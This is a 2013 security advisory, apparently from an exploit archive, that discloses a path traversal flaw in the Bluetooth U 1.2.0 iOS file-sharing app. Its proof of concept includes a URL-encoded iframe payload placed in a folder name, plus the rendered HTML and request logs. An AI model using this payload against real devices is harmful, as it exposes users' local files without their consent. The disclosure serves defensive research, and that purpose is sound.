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Bluetooth U 1.2.0 Directory Traversal

Bluetooth U 1.2.0 Directory Traversal
Posted Oct 18, 2013
Authored by Benjamin Kunz Mejri, Vulnerability Laboratory | Site vulnerability-lab.com

Bluetooth U version 1.2.0 suffers from a directory traversal vulnerability.

tags | exploit
SHA-256 | ca14296374929c9f6c88571a95a5740d0e443d519a9a0c903df41f3c2bcc8c26

Bluetooth U 1.2.0 Directory Traversal

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Document Title:
Bluetooth U v1.2.0 iOS - Directory Traversal Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
Bluetooth U ensure both devices(iPhone&iPod&iPad) transfer files mutually, No file type restrictions.

(Copy of the Homepage: https://itunes.apple.com/de/app/bluetooth-u-share-files-photo/id526268815 )

Abstract Advisory Information:
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the Bluetooth U v1.2.0 mobile iOS web-application.

Vulnerability Disclosure Timeline:
2013-10-16: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Apple AppStore
Product: Bluetooth U - Mobile Web Application 1.2.0

Exploitation Technique:

Severity Level:

Technical Details & Description:
A local path traversal and file include vulnerability is detected in the Bluetooth U v1.2.0 iOS mobile application (Apple iOS - iPad & iPhone).
The path traversal allows remote attackers to unauthorized switch or access folder to access application, device or system information.

The web vulnerability allows to bypass the regular path to folder generate by exploitation of the `New Folder` add function. Remote attackers
can create a directory by using a manipulated second path with a frame to load. The vulnerability can be exploited by requesting the mobile
application with a manipulated path (folder) value parameter. The redirect will load the wrong path value and redirects the user to the local
mobile application or device system path/file. The malicious context also executes in the DelegateData on deletes too.

Exploitation of the path/directory web vulnerability requires no user interaction and non privileged mobile web.application user account.
Successful exploitation of the vulnerability results in the unauthorized access of remote users to local application path or system/device files.

Vulnerable Module(s):
[+] New Folder - Index

Vulnerable Parameter(s):
[+] chxItem & ChkItem

Proof of Concept (PoC):
The path/directory-traversl web vulnerability can be exploited by remote attackers without privileged application user account and also
without user interaction. For demonstration or reproduce ...

PoC: Foldername - Index File Dir Listing (Wifi)

<table id="tableContent" border="0" cellpadding="0" cellspacing="0">
<tr><th style="padding-left:10px;"><input id="selecteAll" onclick="selectAll(this)"
type="checkbox"></th><th>Name</th><th>Size</th><th>Modified Date</th><th class="del">Delete</th></tr>
<tbody id="filelist"><tr><td>
<input name="chxItem" value="%3Ciframe%20src%3D%3Fguid%3D%26type%3Dlist%26password%3D%26date%3DSun%20Oct%2013%202013%2017%3A46%3A15%20GMT%2B0200%3E"
onclick="selChkItem(this)" type="checkbox"></td>
<td><a href="/%3Ciframe%20src%3D%3Fguid%3D%26type%3Dlist%26password%3D%26date%3DSun%20Oct%2013%202013%2017%3A46%3A15%20GMT%2B0200%3E
?guid=1520475B-0653-41FA-8072-CC31D2C5A8F2&type=child" class="file"><span style="vertical-align:middle;"><img src="/Folder.png"
style="border:0;vertical-align:middle" ;=""></span><iframe src="?guid=&type=list&password=&date=Sun" oct="" 13="" 2013=""
17:46:15="" gmt+0200=""></a></td><td></td><td>2013-10-13 17:53:31</td><td><input name="commit" type="button" value="Delete"
,'1520475B-0653-41FA-8072-CC31D2C5A8F2');" class='button' /></form></td></tr></tbody></table></iframe></a></td></tr><tr class="shadow">
<td><input name="chxItem" value="TEST23" onclick="selChkItem(this)" type="checkbox"></td>

--- PoC Session Logs (GET) ---
Content Size[0]
Mime Type[application/x-unknown-content-type]

Request Headers:
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0]
Accept-Encoding[gzip, deflate]

Response Headers:
Date[Sun, 13 Oct 2013 14:24:08 GMT]

--- Referer Context ---
'detail':'Please input password','root':0,'title':'Bluetooth U','items':[{'name':'TEST23',
'isdir':1,'id':0,'filesize':102,'modDate':'2013-10-13 16:19:09'},{'name':'TEST24','isdir':1,
'id':1,'filesize':68,'modDate':'2013-10-13 16:19:14'},{'name':'TEST25','isdir':1,'id':2,
'filesize':68,'modDate':'2013-10-13 16:19:18'},{'name':'s2.png','isdir':0,'id':3,
'filesize':53025,'modDate':'2013-10-13 16:30:57'}],'dir':'/'}

Note: root :)

Solution - Fix & Patch:
The vulnerability can be patched by a restriction of the filename user input. Encode and parse the input and filter the
index file name dir listing to prevent executions.

Security Risk:
The security risk of the path/directory traversal web vulnerability is estimated as high(+).

Credits & Authors:
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.

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Copyright © 2013 | Vulnerability Laboratory [Evolution Security]

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